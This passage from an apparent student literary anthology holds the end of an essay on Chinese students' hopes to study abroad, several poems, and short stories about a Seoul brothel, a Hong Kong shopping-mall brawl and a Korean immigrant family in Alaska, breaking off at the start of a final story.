worthwhile sights in +Beijing during my trip, and both he and I shed tears when we had say +good-bye. I wanted so badly to help him. It's very frustrating to +know that my letters probably will never reach him . . . . + +**YIM CHI SHING, FROM SHENZHEN, P.R.C.** + +I first met Chi Shing in Shenzhen, a growing city right across the +border from Hong Kong. He was working at a relatively new and +modern university, but he wanted desperately to come to America for +his master's and eventually his doctorate degrees. He made friends +with all Americans who crossed his path, practiced his English +diligently, and seemed open to the religion that many of these +people believed in. At this time, a good friend of mine was working +in China on a six-month sabbatical from a university in +Pennsylvania, and he befriended Chi Shing and arranged for him to +come to Hong Kong. This was the first time Chi Shing had ever been +outside his home country. He stayed with my roommate, a fellow +American, and me. I talked with Chi Shing about Christianity and +took him to a Chinese Christian fellowship in Hong Kong. He +appeared very interested and made a friend at the church, a Chinese +girl who teaches in Hong Kong and has a fascination for things in +China. After Chi Shing returned to Shenzhen, we wrote to each other +often, and Chi Shing's English constantly improved. + +Meanwhile, my friend, upon returning to Pennsylvania, worked hard to +open doors for Chi Shing to go to that state for graduate work. It +seemed his only obstacle was getting out of his own country, +obtaining the all-important and much-sought-after exit visa. I did +what I could for Chi Shing by channeling forms to him which were +extremely difficult to get in China through a private service in +Hong Kong. In the meantime, Chi Shing made friends with two +American missionary teachers in Shenzhen who immediately took a +liking to him. They spoke about Christ with him often, and +eventually paid for his plane ticket over to America. + +My friend from Pennsylvania was very excited when Chi Shing finally +arrived in Pennsylvania to go to school and work on his master's. +After two weeks, however, Chi Shing showed that he had other ideas. +He went to Washington, D.C., to visit several Chinese students, some +of whom were old friends and others who were acquaintances of people +he knew in China. He loved it there and was able to secure a job +working immediately in a university lab thanks to a last-minute +opening, and he was also able to go to school there with his Chinese +friends. He had already applied to this school before leaving +China, but had decided against it due to the high expenses involved. +Because my friend was able to do so much for him at the Pennsylvania +university, it had seemed the better option at the time. + +Since arriving in Washington, Chi Shing has seemed to go his own way +and not be too interested in doing much with those who helped him +get there. This whole experience has been quite disheartening for +my Pennsylvania friend. Some people familiar with the situation +have even questioned whether Chi Shing may have simply used all the +kind-hearted and helpful Christian foreigners to facilitate his +departure from the repressive P.R.C. They question whether he was +ever truly interested in their friendship and religion. + +**WHERE DO THESE STORIES LEAVE US?** + +It's important to remember that life is a journey pieced together by +various experiences. These stories and the lives they depict are +certainly in no way concluded. The experiences and dreams of these +students continue today, influenced by the people and changing +political climates around them. After personally sharing in them, I +for one will always have a much greater respect for what others go +through daily in other parts of the world, as well as an +appreciation for what I have in the United States. + + + +POETRY +====== +Ivy Sta. Iglesia, **The Unwritten Will** +Vineel Sha, **Landing in Love** +Alex Hsu, **The White Horse** +Dennis Chun, **Archaeology** +Michele Mitsumori, **Sightseeing** + + +THE UNWRITTEN WILL +------------------ +Ivy Sta. Iglesia + +i caught scraps +from the table of our +conversations + +father wait . . . + +woven in imagination + I'll leave you + dreams, he said + +chickens scratched at patches of brown earth +the whistles of workmen wandered +along the road +a week's laundry flagged at +passing birds +the stones in my hand +thrown +to splash in the murkiness of a pig's trough + +father please +i don't see . . . + +a webbing of words, +of his time-eaten memories + whispered in + an afternoon doze + +collected in puddles left by +a mid-day shower +seeping into freshly-dug holes +and creeping out in the +wheezing labored coughs of a + passing train (of thought) + +father slow down +i can't hear . . . + +the silence he wrapped +around himself +dribbling gibberish + in the fading brightness + of twilight +onto the clinical white of +his hospital gown +dull stares from dark pupils +non-words that seemingly saw +only me + +i held my breath +he forgot to take his + + and when he left + it was quiet + +i had his images +but father kept +his eyes +and i +i lost my hearing +long ago + + + +LANDING IN LOVE +--------------- +Vineel Shah + +They swore to be together forever. When forever came, they were +alone. + +They stood at the edge of time. Should they jump and risk their +souls? Or should they stay safe and sound in our reality? In the +end of their beginning, they kissed, grasped hands, and leapt into +the abyss. They fell.... + +Falling, slowly their bodies melted, slowly their minds dissolved. +They became essence spirit emotion, their projected souls spun about +them in a swhirling whirl of color light shadow. Their emotions +coalesced into a circle of solid gold, revolving and holding them, +binding them. Was the fall forever? They dared to hope. + +The gold gradually turned to green. Their love turned to fear. + +They hit forever, hard. The landing shattered the gold green band, +their bodies lay in the dust of their emotions. + +They picked themselves up, and, standing on eternity, looked at each +other. Saw, in each other's eyes, isolation. + + Forever, + + alone. + + + +THE WHITE HORSE +--------------- +Alex Hsu + +If God doth truly guide and walk with me +Then why am I entrapped in this Abyss? +Excessively I grovelled for life's lees. +I lived my life as purely hit or missed. +When saddled up I ride without restraint. +Dismount and stakes doth once again ensnare. +And so I dance and cry in this black rain, +Why loved ones blind to promised land so rare? +Oh why can no one see this light but me; +Why allies censure, scold in name of care? +Prosaic life doth come alive with steed, +Why family weep and leave with hatred bear? +I laugh and sneer at thoughts of "slave" with bliss +Just please, white horse, just give another kiss. + + + +ARCHAEOLOGY +----------- +Dennis Chun + +What lies behind those eyes of yours? +Those eyes that can lay waste to my world + with only the barest flicker +Or when you smile + and those eyes of yours glint and gleam and crinkle +Don't you know what that does to me? +Then let me tell you: + I am a child again + just a child + and that world is not so dark after all +When you are silent + buried beneath words too strange to utter + those eyes of yours contain depths unknown + like fossilized sheets of earth +I know there are flames and volcanoes within you + I've seen them +But don't you know that your silence burns me so much more? +It's true: + words are just "clothes for our thoughts" + but I am naked + so naked you'll never know +I could rush on and on with these thoughts from a discarded night + hoping to reach you beneath your layers +But my fingertips are wet with blood + from scraping at the ground +And my voice has grown thick with scars +Because you won't listen + Or will you? +Yes father: + it's me + only + me + + + +SIGHTSEEING +----------- +Michele Mitsumori + +The tonsured monk closed his eyes + and chanted slowly, +his arms swinging like censers, +splashing himself with fuel. + +The serenity of his blackening form +amidst the snapping banners of flame +caught their eyes and imagination: + How he must be drifting + cut loose from sensation + by incense and sutra, + even now dissolving among the lotus + and the sounds + of one hand clapping. + +They watched with awe +as the flames took hold, +wished for themselves + such transcendant resolve, +and turned away + finally, + sighing, + regretful, + + envious. + + + + + +FICTION +======= +Dennis Chun, **Mia's Serenade** +Michele Mitsumori, **Fear of Housewives** +Linne Ha, **Cage** +Wendy Wo, **Coty** + +MIA'S SERENADE +-------------- +Dennis Chun + +In this busy Seoul street, where the traffic and people swarm by in +a faceless tide, where one feels either an intense loneliness or +intense belonging, where nightfall brings with it a mysterious +beauty, Mia looks around the room she is standing in, which opens +directly onto the sidewalk and street -- the front wall having been +torn down -- and fidgets nervously. Her fingers pass restlessly over +the cracked, peeling plaster of the side wall. Everything -- the +chairs, the stained carpet, the hanging strings of bamboo beads +which guard the entrance to the back room -- is cast in a fiery, but +strangely cold shimmer: the result of the red light bulb which hangs +from the ceiling. She notices that all down the road there are the +same red lights, the same open rooms, so that the entire street is +bathed by a blood red glow, like one big, gaping wound. She can +feel that red light on her bare skin, and even through her clothes -- +the blue denim shirt with the sleeves cut off and her skin tight +shorts. It reminds her, she thinks, of the time she got that rash +from some plant, and the way it spread all over her body, until it +nearly consumed her. This red light too, burns all over her body, +like some fierce disease. + +Keep calm, she scolds herself. You'll get used to this. She thinks +back to the time when she was a little girl -- even though she is +still a little girl -- when her grandmother set up a bathtub of +scalding water, and how her grandmother had entered first, then told +Mia to get in. + +"Hurry up stupid! Get in before it cools off." And how she had +dipped just her one finger in, testing the water, and said, "I +can't, it's too hot! I'll burn up into smoke and disappear!" + +"Ya! Do what your grandmother says, otherwise you'll get a beating, +you silly fool! Besides, the hot water is good for you." So that's +why you have all those wrinkles, Mia thought to herself. All this +hot water has dried you up like a prune! + +But she knew the beating was not just an empty threat. So she put +her right foot in first, carefully watching for tendrils of smoke to +drift out of the water -- in which case the beating would have +sounded much better -- then slowly her entire leg went in, burning, +screaming, feeling as if she would surely die. And when she was +completely immersed, it suddenly happened: she couldn't feel the +pain anymore. + +She remembers this now, as she has done before in moments of +darkness, to draw from it that strength which in childhood seems so +majestic, so invincible. A few days at the most, she thinks to +herself. A few days, and I will get used to this too. + +She can recall other moments from her dark past, if she allowed +herself to, when she would huddle in the thick, night air outside +her house, with her arms crossed tightly against her flat chest, +like the straps of a strait jacket, feeling the sting of a rebuke +from her father -- the venom of his words -- and at other times the +familiar, but vague, feeling that she belonged elsewhere, in another +time, another place, that wherever she went, she would always feel +the part of the stranger, the imposter. And she would cry to the +night sky. She would wonder why God had made her so sensitive, so +fragile, so weak, in a world that demanded strength and the sweet +numbness of indifference in order to survive. She cried often, +feeling her emotions rage within her like an inferno, uncontrollable +and chaotic, dangerously fierce, and because her young mind could +never find the words to explain or describe these feelings, she +suffered from not knowing WHY..."Why do I feel this way?"..."Why am +I here?" And when she couldn't find the answers, she learned to numb +the pain, to anesthetize it with injections of cold indifference. +She learned to wipe the tears with the back of her hand, inhale +deeply, scold herself, curse her tears, her weakness, and allow the +numb vacancy to spread its tentacles throughout her body, calming +her sensitive spirit into dull, sleep-like submission. + +Mia can feel her belt bite into her waist, printing a raw strip of +flesh. She sucks in her stomach, and wedges her thumb into the gap, +trying to be as inconspicuous about it as possible. She breathes a +sigh of relief. Her eyes pass fleetingly over each passing person, +some of them men and women on their way home from work, or just +strolling about indifferently, others, businessmen with a lusty +glint in their eyes. She does not call out to them, not like +Chunsa, Jinyae, and Eunyoung -- her "co-workers." She does not strut +around in long, slinky strides, or, like some of the more aggressive +girls down the street, forcibly grab unwary passers-by, taunting +them with a seductive drawl, "Come into my room and talk with me." + +She wonders how long it took Chunsa and the other girls to act so +casually desperate, so calloused. A part of her admires these +women, for their raw, sexual honesty, but another part, the utterly +frightened one, sees her own mirror reflection. + +"Ya! Mia!" It is Chunsa. Her Korean is harsh and informal, not the +deferent form usually used by strangers. "Ya! Why do you look so +scared? No one's going to want to be with you if you look as if +someone's trying to kill you. Here," she says, placing her hands on +her hips and gyrating them in a sensuous grind, "move around like +this, and you'll have men coming to you on their knees!" Chunsa +erupts into laughter and turns to Eunyoung and Jinyae, who shriek +back their approval, bending over and slapping their thighs. + +Mia turns her face away and leans her cheek against the doorway. +She thinks of another not so distant memory. In this one she is +walking home with her mother, helping her push the large wooden cart +her mother uses to sell the rice dumplings filled with sweet black +beans, the dried squid, and other snacks. Mia's short arms can +barely reach the handles, but she feels proud in helping to ease the +burden off her mother's tired shoulders. Some day, she dreams, +she'll go to school and make something of herself. + +Her mother abruptly stops the cart. Mia pokes her head around, and +sees in front of them an injured magpie, its right wing clipped, +tattered and bloody. It hobbles around in a drunken dance, futilely +flapping its one good wing and squawking a high pitched scream. It +is just a baby. + +Both Mia and her mother stand above the fallen bird. + +"Mommy, what happened to it?" + +Her mother does not answer, and instead clucks her tongue in +sadness. + +"Can we take it home? Maybe we can fix whatever's wrong." + +Her mother bends down and gently places the bird in her palm, softly +stroking the slope of its beak with her finger, until it finally +calms down. It looks quiet and peaceful, and for a moment, Mia +thinks that it's dead, until she notices its breast rising and +falling in a weak, soft rhythm. She also hears a flutter of sound, +the tiniest trace of a song, escaping from the bird. Her mother +raises the bird up to eye level, carefully examining its wing, which +is streaked with caked blood. Then, she wraps her two fingers +around its tiny throat, and, with one swift jerk, breaks its neck. + +Mia gasps in horror. She looks first at the motionless bird, then +at her mother, the first cries of anger rising in her throat. But +she is silenced. Her mother's eyes contain not the satisfied gleam +of the kill, but that of the defeated, of the hopeful turned +despairing. Mia has never seen that look before and is frightened. +When did she become so old? she wonders. + +She is suddenly distracted from her daydream by the appearance of +two men, one an older gentleman wearing a tattered gray suit, the +other considerably younger. They are both standing in front of the +room occupied by Mia and the other girls, and it is immediately +apparent that the older man knows these girls well. + +"Ah, Chunsa! It's been much too long since I've last seen you. But +you know, I'm not such a young man anymore, and certainly not what I +used to be." He pats and prods Chunsa none too affectionately, but +she laughs nevertheless. + +"God knows, none of us are," she replies. "But people are like +~kimchee~. As we get older we become more flavorful." She traces her +fingertip down his left cheek delicately. "More spicy." + +He laughs and draws her hand away from his face. "You don't have to +convince me, you know that. We've shared some very good memories, +you and I..." His eyes turn glassy with the thought. "But anyway," +he says, with a sudden burst of energy, "I'm not here for myself. +Where are you?" He turns around to the other man, who has been +anxiously looking up and down the street, the whites of his wide +open eyes tinged red from the lights. Mia looks at the young man, +and notices in glimpses his closely cropped hair, the mole on his +left cheek, the brightness of his green and white checkered shirt, +but her eyes rest finally on his hands, and the way they clench and +unclench silently, like lips mouthing empty words. + +"This is my nephew," the uncle says, pulling him by the arm to draw +his attention. "He leaves for military service tomorrow, and, +well...he is still just a boy, if you know what I mean." He smiles +slyly, as if to say, "He's only my nephew, don't blame me€ for his +'condition'." + +"Uncle, please. Let's go. I want to go back --" + +The sound of flesh meeting flesh -- a backhand swipe to the face -- +flashes like a crack of the whip, and Mia, who had all this time +been listening, feels her own hidden bruises clamor for attention. +She can feel her eyes welling with tears and she struggles fiercely +to control the fire, to douse the flames, to soothe the burn. + +"For the last time we are not going back," the uncle says angrily. +"We're here now, so just do this and I'll drive you back home. You +should be thanking me for making you into a man." He turns to the +women and chuckles uncomfortably. + +The nephew is surprisingly calm, his hand slowly tracing the red +track under his right eye left behind by his uncle's wedding ring. +But Mia keeps her eyes on his free hand, which is now clenched +tightly, the veins raised in stark relief, and she can almost feel +his nails digging half-crescent trenches into his palm. "Which girl +do I go with?" he quietly asks. + +"There, that's better." He turns to Chunsa. "Take him and show him +a good time. Make sure --" + +"I want to go." It is Mia. "Let me go with him." + +At first, both the uncle and Chunsa look at her angrily, but +starting with a low, soft chuckle, Chunsa erupts into hysterical +laughter, which is soon joined by that of the other girls, a chorus +of cackles. The uncle looks confusedly at Chunsa. When her +laughter ebbs, she leans over and whispers something into his ear, +and now it is his turn to burst into laughter. + +"It's settled then," he says. He grabs his nephew's arm and pulls +him toward Mia. "Go with her, she'll take good care of you." More +laughter. + +Mia leads him through the hanging beads, barely listening when +Chunsa says, "Remember what I taught you!" + +They both enter the back room, which is sparsely decorated, with one +hard mattress placed in the center of the room, a bureau with a +mirror by the far wall, and hanging on the near wall, a traditional +Korean painting of mountains rising out of a mist. The one naked +lightbulb sends a bright, harsh light from the ceiling, so that both +Mia and the young man squint when they enter the room. + +She undresses quickly, and does not hear him when he says, "I'm not +so sure about this. Maybe we can just sit here and talk. My uncle +will never know." She does not see his trembling hands, as her own +steady ones unbutton his shirt tenderly and take off his shoes and +pants. Nor does she feel him, as he enters her, gasping in +alternating fits of fright and ecstasy: a sunset seen for the first, +or last, time. + +She feels and hears only the squawking of the magpie, the one who +couldn't fly, whose song of pain reaches her even now, and she is a +part of that melody, has become a strain of that music: a mournful +serenade that lingers with the finite grace of an echo, only slowly +bowing down to silence. + +And when he is done, expelling one final, heaving breath and +collapsing in a heap on top of her, she rolls to her side and +quietly tells him to leave. Put the money on the bureau. + +Outside, the red lights burn all down the street. + + + +FEAR OF HOUSEWIVES +------------------ +Michelle Mitsumori + +One recent Sunday afternoon in Hong Kong, a record number of housewives +packed themselves into the Shatin New Town Plaza. I emerged from the +railway turnstiles only to be jostled, poked, squeezed, and ultimately +lifted off my feet and carried past the KCR bell and the music fountain +by a vast and irresistible current of marshmallow bodies. As I was +taken past the middle of the mall, I beheld a sparkling exhibition of +brand-name kitchen appliances. My eyes glowed, my liver twinkled: for +far too long our flat had needed a blender, and here at last was my +chance. I fought my way through the crowd, shoving and squeezing past +pretzeled couples, schoolgirls linked like barricades, and little old +men with cages of lucky birds, until, bruised and dishevelled, I crossed +the cordon. + +Within the cordon was a small island of peace, order, and enticing, +state-of-the-art time-savers. The din and clamour of the crowd swirling +madly just five feet away from me faded to a hum, and my ears were +caressed by a youthful voice lauding the company's line of microwaves. +The air was fresh and clean, and all the salespeople were dressed in +soft, white fabrics. I stretched my arms above me, reaching for the +bannered ceiling, and spun on the balls of my feet. Freed from the +dictates of the crowd, I wanted to rejoice, I wanted to dance. + +"Hey, Miss Gym Teacher!" growled a nearby security guard. "You gonna +buy something or teach a class? Wai!" His attention was arrested by +someone on the other side leaning across the cordon in an attempt to get +a better view of the displays. "Keep away, keep away!" He jabbed the +trespassing shopper fiercely with his baton. The offender staggered +back, clutching the area where a bruise the shape of a dumpling was +already emerging through his shirt. His girlfriend wrapped a velvet arm +around him and shot a painted scowl at the security guard before they +disappeared together into the swarming hordes. The object of their +grievance took no notice. His duty done, he tottered to his stool, +where he settled himself down and slowly deflated. + +Confident that the exhibition area was safe from the gawking, uncouth, +window-shopping masses, I now began my search for a high quality blender +at a low, low price. One reason I was so excited by this exhibition was +the manufacturer. Sure, there were dozens of blenders on the market +made by the likes of Sanyo and Molineux and Toshiba, but nothing I saw +ranked above a ho-hum. Just as I'd been about to resign myself to a +life of blending by hand, a former insider trader now turned appliance +salesman clued me into a company new to the field but, thanks to the use +of space-age technology, was revolutionizing the world of culinary time- +savers. Toodle-oo, Inc., he said in a low voice, if you're serious +about blending. That had been two months ago, and now here I was, +salivating before a glistening display of Toodle-oo blenders and spice- +grinders. + +I had only just begun testing my eighth blender when a deep and hate- +filled growling snaked around me and forced me to turn around. At the +table next to me, two women were in fighting stance, each with one hand +clenched in a fist and the other gripping the same food processor. The +one closer to me was tastefully draped in a Diane Freis, the flower +print complemented by a pair of Joan and David heels. + +"I believe I reserved this particular model by phone in advance," she +said, the tones of her Cantonese euphonious, the consonants distinct yet +mellifluent. I gasped, dazzled. + +"So get another!" snapped the second lady, her body a collection of +spheres and ovoids sheathed in gray-blue polyester. "This is mine! I +had it first!" + +"It's the last one in stock. Pray give it to me and find another model. +My chef simply must have this one." + +The housewives around them watched, spellbound by the musical sublimity +of the first woman's voice. Who was she? How did she learn to speak +that way? Could she teach me? And how much of a discount could I get +if I brought along ten or so of my friends? + +"Chef? Wah! You dirty capitalist! You imitation foreigner! Go learn +how to cook! This food processor is mine!" + +"Imitation . . . ! How dare you! You educated-at-home, loose- +intestined rice bucket! You moon-eclipsing, cancer-causing . . ." + +"You call me what? You unwashed, turtle-eyed, cloud-farting toilet- +cleaner of fornicating elephants! You . . ." + +So it went. Slaps were exchanged. Opinions were aired. As the first +woman began cursing and yelling, we forgot the former beauty of her +speech, entranced as we were now by the descriptive power of both +combatants. Around me housewives repeated the phrases to themselves +quietly, memorizing them for future use. As the slaps became scratches +and punches, three or four housewives tried to pull the two women apart, +but because they tried to do this by wrestling either opponent to the +floor, they, too, were sucked into the skirmish. The altercation +quickly escalated into a war between those who believed in first-come- +first-served and those committed to the right to reserve, and soon +everyone on both sides of the cordon was yelling and slapping and +scratching and shoving. Displays were knocked over. Children were +slammed against walls. Egg-beaters and toaster ovens were used in +distinctly anti-social ways. The clerks ran around panicked, trying to +calm the crowd, right the displays, protect the appliances, and guard +the cashbox. I was terrified. I climbed onto a table, still clutching +my blender lest some frenzied housewife steal it from me, and tried to +keep out of the fray. I noticed that the two women were still battling, +but now the polyester housewife had picked up a friend or two, and the +three of them were really pounding into the dress suit. Her right ear +was bleeding where an earring had been ripped out, her coiffure had +fainted, and the flower print was soiled and tearing. I knew I couldn't +simply stand by and watch. + +"Stop! Stop! This is inhumane!" I shouted in English. They ignored +me. "Not good! Not good!" I then yelled in Cantonese. My pathetic +American accent caused them to halt momentarily to see who was speaking. +Even the small clusters briskly whacking each other with electric +rolling pins stopped mid-whap to investigate. + +"ABC," sneered someone nearby. + +"Educated-at-home, loose-intestined rice bucket," jeered another. Her +adeptness at using the new insult won nods and a murmur of approval from +the crowd. Other housewives, thus encouraged, rolled up their sleeves +and appeared ready to fling out a few insults themselves, only to be +distracted by a stuttering whimper from the flower print, who was lying +on the ground in fetal position. + +"Unwashed, turtle-eyed, cloud-farting toilet-cleaner!" + +"Cancer-causing, bed-hopping, sale-missing imitation foreigner!" + +They were closing in on her, fists clenched, tongues poised to deliver +the coup de grace, a group insult so killing as to produce a loss of +face that was irrecoverable. The woman would never be able to shop here +again. I had to distract them somehow, appeal to some other, deeper +passion within them. + +"Seiyu!" I cried. Heads swiveled around, almost in unison, and eyes +locked upon me, half in suspicion, half in the hope of being further +entertained by my accent. "Saitin!" I cried again, giving the Cantonese +pronunciation of the nearby Japanese department store. "There's a big +sale, very big, very, very big, at Saitin! Must hurry! Must very big +hurry!" + +For a moment there was a stunned silence, then excited whispers, which +gathered and grew to a thunderous, tooth-jarring roar as the housewives +stampeded. The mall trembled, and the vibrations set off the music +fountain, adding the electronic melodies of "Hooked on Classics" and a +pounding of falling water to the din. I closed my eyes and clenched my +jaws, trying to endure the pandemonium because I couldn't risk letting +go of my blender to cover my ears. The table below me rattled and +bucked, and several times I was nearly thrown. What had I unleashed? + +And suddenly they were gone, swallowed up in the vastness of another +wing. The fountain switched itself off in the middle of "The March of +the Toreadors," and the mall throbbed with emptiness. + +I heard a groan of pain at my feet. It was the Diane Freis. "Are you +all right?" I asked, bending down beside her. + +"ABC," she moaned. + +"Can you walk? Do you speak English?" + +"Give me my food processor." + +I was helping her revive her coiffure when two security guards arrived +and took over. Carefully they lifted her to her feet, but she would not +leave the area until a food processor was placed in her hands. +Actually, it was only the box -- torn, dusty, and empty -- but she cradled +it in her arms and crooned to it softly as the security guards led her +away. + +When she had left, I took in my surroundings for the first time. All +around me was carnage: blenders, microwaves, coffee grinders, toasters, +all that had once twinkled with newness was now dented, cracked, or +dismembered. I felt something jab me in the side: my precious Toodle- +oo blender and spice-grinder, the single, last untouched appliance in € +exhibition area. A clerk limped up to me, one hand still gripping the +cover of a rice cooker he had used as a shield, eyes darting left and +right nervously, and asked if I wanted to buy it. Despite my shock and +impending hysteria, I managed to laugh scornfully and say I wouldn't +take this heap of scrap metal if he paid me for it. In twenty minutes I +had haggled a discount of 20% for the "damaged" good and hurried away, +fearful that at any moment the housewives would discover that I had +tricked them and come back searching for me. + +I made it safely back to my flat, but for some days afterwards, I +couldn't bear to go shopping. The incident had revealed to me the +bestial violence inherent to the consumer soul. I shook and cried +uncontrollably merely passing through Shatin on the way to Kowloon Tong. +At home, my flatmates begged to use the blender, but I was haunted by an +image of an exhibition area bestrewn with slaughtered appliances. My +blender was the lone survivor. No one, not even me, would ever use it. +Such was the state of affairs that I would never have visited the New +Town Plaza again had it not been for an irresistible craving for a pizza +croissant from A-1 Bakery. + +It was a Tuesday evening. I was making my way through the crowd, +jumping each time someone touched me, when I was suddenly embraced by +the gentle strains of "The Blue Danube." Ahead of me variegated lights +played upon dancing, liquid monuments. It was the music fountain. I +pushed my way through the crowd straight to the center of the fountain. +Streams of water swayed like stalks of rice brought to bow to their +reflections by the wind. I felt as if my soul were being cleansed by +the sight of such grace. + +And then it happened: my gaze collided with another across the +fountain. It was a housewife. Her eyes narrowed with suspicion and +hostility as she clutched a package closer to her bulbous form, so +tightly that the top flap popped open, and through the shifting spray I +read the words, "Toodle-Oo." My own arms loosened of their own accord, +exposing the glittering surfaces of the blender. Across the fountain, I +saw her limbs also relax. She had a toaster. She turned the box +towards me and lifted the top flap, and from within the darkness I saw a +sparkling reflection of colored lights. We inclined our heads. + +After a mighty rush of water from all seventy-two outlets, the music +faded and the fountain returned to its unspectacular, garden-variety +self. Bodies once more bustled and knocked, voices again hurled +themselves after misplaced children and friends. For a long while I +simply stood there, hugging the blender to me and letting the crowds +wash over me. Then I smiled to myself and turned towards the railway +turnstiles, envisioning myself fixing a banana milkshake with my new, +Toodle-oo blender. + + + +CAGE +---- +Linne Ha + +From the side of my eyes, I can see my mother's profile against the +backdrop of the moving mountains and the gray sky. She is unusually +quiet and I notice for the first time that her body has shrunken, +slumped to the steering wheel like a worn-out rag. She had been +washing dishes since 5 o'clock this morning and now we are headed +home. + +As the sun disappears into the horizon, our truck moves quickly +along with the traffic on the freeway. My mother is driving and I +am squashed between her and my younger sister Paula in the cab of +the pick-up truck. + +My mother says something, but her voice is low and barely audible as +it blends with the drone of the engine. She speaks in Korean, +almost to herself, "If you think about dying, then you should +die...rightfully you should die...." I make out her words like a +jigsaw puzzle, patching sounds in my rough Korean. + +I don't say anything and instead look down at my lap. I am still +clothed in my tennis outfit from that afternoon's lesson. My skirt +glares white and I can't help but look at my mother's dirty apron. +Paula is listening to her walkman, her head bobbing as her lips move +with the lyrics. Up until a few minutes ago, I had been angry +because my mother was late again picking us up from school and now +my thoughts dissipate into listlessness. + +My mother repeats herself in her broken English, this time louder. +She turns her head toward us as if waiting for a response, then +turns back to the road as we remain quiet. + +In the silence, I am acutely aware of us sitting in the truck, its +wheels moving on the road. We are rapidly steering away from the +rest of the traffic, guided by metal guards, onto an empty freeway. +Up ahead, the road bends exposing a last glimpse of the sun and the +expansive land below us. + +"There," my mother points, "where the trees are. Everyday, I drive +this road. Sometimes, before this turn, I want to drive straight +into the sky...into the trees." I imagine their weak branches +burdened by her weight. + +My sister taps her feet with the music and I continue to look away +without saying a word. There aren't enough Korean words that I know +to talk to her, and English wouldn't work. + ++ + + + + +At school, in one of my classes, there is a map as big as the wall +of the world. From the door to the window, the continents are +zigzag lines filled with different colors on each side. They are as +flat as the chalkboard across the room. Beginning with Europe, I +follow the Mediterranean to Paris, where I've never been. Then a +bit north to Britain, an island scrunched with words. The bell +rings for class to begin as I cross the green-blue Atlantic. Each +square makes up a thousand miles to New York. + +There are sounds of people gathering for class. My neck is crooked +as I take in all of America. The United States is the shape of a +wild boar roped and waiting to be roasted. Maine makes the snout; +Florida the tied front legs. California is its ass. My desk is in +front of California. Alaska is so far away. + +Mrs. R. says something but I am lost in the Pacific. The Pacific +Ocean is broken into three vertical words with specks of Hawaii near +the center of the deep blue. The Soviet Republic is the solid +orange undisturbed by letters. + +At the far left, I reach Asia. I step closer and my eyes are two +inches from the wall. I follow the outlines of Korea, a foreign and +odd shape, recognizable but unfamiliar. Its cities are but sets of +jumbled alphabets. It is difficult to make sense of them. I +inspect them carefully but they do not tell me anything. Slowly, I +turn back to the class and sit down. + +Their faces poking out at me with their round eyes. Like the +continents, they too are blank and unfamiliar. + ++ + + + + +My father's only friend is his parrot. Out of the blue one day, he +comes home with a parrot and a cage which he sets up in his bedroom. +Since then, every evening when he comes home after a day of driving +his cab, he heads straight to the bird, ignoring us in the living +rooom. + +My sister and I would watch with envy, through the crack of his +bedrooom door, my father feeding his bird. We have never seen our +father like this. + +Once we even witness him feeding the bird a slice of apple from his +mouth. My sister and I look at each other in a state of disbelief. +Then she returns to the TV as I go tell my mother this news. + +My mother is in the front yard carefully inspecting the leaves of +her plants. I stand in the door jam of our trailer house. She is +unaware of my presence. I watch as she bends down to dig something +out of the earth. She pulls out a long worm and tosses it aside. + +"Father's feeding the bird with his mouth now," I announce. + +She continues inspecting the leaves, then says in Korean, "These +plants, if you take good care of them...feed them and water +them...they will grow up to here by the end of the summer." Then +she looks at me for the first time. "Have you ever tasted this +plant?" + +I shake my head. + +"They taste better if you water them every other day," she +continues. "Wait till you taste them...they make your knees strong. +But of course, they taste much better in Korea. Here, it's all I +can do to make it a hint of what it used to taste like...." She +shakes her head and releases a deep sigh. She is crouching in front +of her garden, raking the soil with her bare fingers. Even from +where I stand, I can see that my mother has plotted the plants in +neat row, her fingers thick with cold dirt. + +Last month when she started her garden, the ground had still been +frozen. I watched her out there, clad in her winter coat and +gloves, hacking at the permafrost. + +"It's only April," I had told her. "The ground won't melt until +probably June." Even after five years, she is still not used to the +Alaskan seasons. + +Without stopping, she yelled in Korean, over her shoulder, "I've got +to make use of this sun. Anyway, I can't sleep." + +I stand here watching her again. Her hands quickly pulling out the +weeds then putting them on a pile off to the side. I look at the +pile, green leaves with roots grasping onto flakes of dirt. + +"Are you going to be there all night?" I ask, tired of waiting for +her attention. She giggles mischievously to herself at the tone of +my voice as I turn back into the house. + ++ + + + + +Most evenings, my father spends in his room either teaching the bird +to speak Korean or grooming him. While my father is away at work, +he keeps the door to his room locked. Paula and I sit in the living +room after school, trying to watch TV but inevitably listening to +the bird say hello in Korean. We sit with the TV off sometimes as +the parrot's tiny voice echoes through the door. + +One afternoon, Paula stands up abruptly and goes into the kitchen. + +"What are you doing?" I ask when I see her return with a table +knife. + +"Don't worry," she says with a determined look on her face, "I only +want to peek." + +Paula expertly plies the door open to a dark and quiet room. She +immediately tip-toes to the cage as I hold back, watching from the +door. I see her cautiously peer into the cage as the bird flies +around nervously. Paula gestures for me to come closer. + +"Look," she whispers, "It's no big deal. It's just like the ones +we've seen on TV." Suddenly, she shakes the cage with both hands +and laughs when the bird squawks. She circles the room a bit before +she loses interest and retreats back to the living room. I stand +there for a moment, staring at the bird. The bird looks fragile and +harmless yet I know that it holds a secret which makes me curious. +I watch its movements, hoping to solve the puzzle: the mystery of +attraction. I stand absolutely still, pretending to be a fixture of +the room. The bird plays, ignoring me. On the floor of the cage, +there are pieces of apple, the apple my father fed to his bird. + ++ + + + + +Many weeks later, I come home late after tennis practice, and as I +walk towards the trailer, I notice that all the lights are +conspicuously out except in the room which Paula and I share. +Worried that I am in trouble for being late, I quietly avoid the +living room and sneak into my room. Paula lies sprawled on her +stomach on top of my bed, flipping through a magazine. + +"What time is it? Is Dad mad 'cause I'm late?" I whisper as I +change out of my tennis clothes. Paula shuts her magazine and rolls +on her back. As she pulls her arms behind her back, I see that she +already has hair growing on her underarms. + +"The bird is dead," she says matter-of-factly. + +"What do you mean, dead?" + +"D-E-A-D," she spells with annoyance. "He came home today and +killed the bird." She stretches her body with a yawn. "It bit him, +I guess....It was really gross," she continues, "I was sitting there +listening to him say 'apple' in Korean then the next thing I knew, +the bird was freaking out. It bit his hand." + +I drop down next to her, trying to absorb all of the words. How can +he kill the bird? I imagine his big thumb forcing the bird's thin +neck to a snap. I shudder at the thought. + +"And where's Mom? Are they sleeping?" I want to know. + +Paula shrugs her shoulders and moves to her own bed. I look at her +for a moment. She is obviously not upset by the inc€ident. I watch +as she stuffs a stick of chewing gum into her mouth then return to +the magazine. Helplessly, I put on my nightgown as I walk to the +window. There is a full moon beaming light onto the quiet streets +of my neighborhood. Off to the side, something catches my eye. I +see a figure crouching in the yard. My mother digging in her +garden. Her flowerbed has been rearranged around a bald mound of +dirt, her neat rows disturbed. + + +COTY +---- +Wendy Wo + +The door down the hall from her room had been 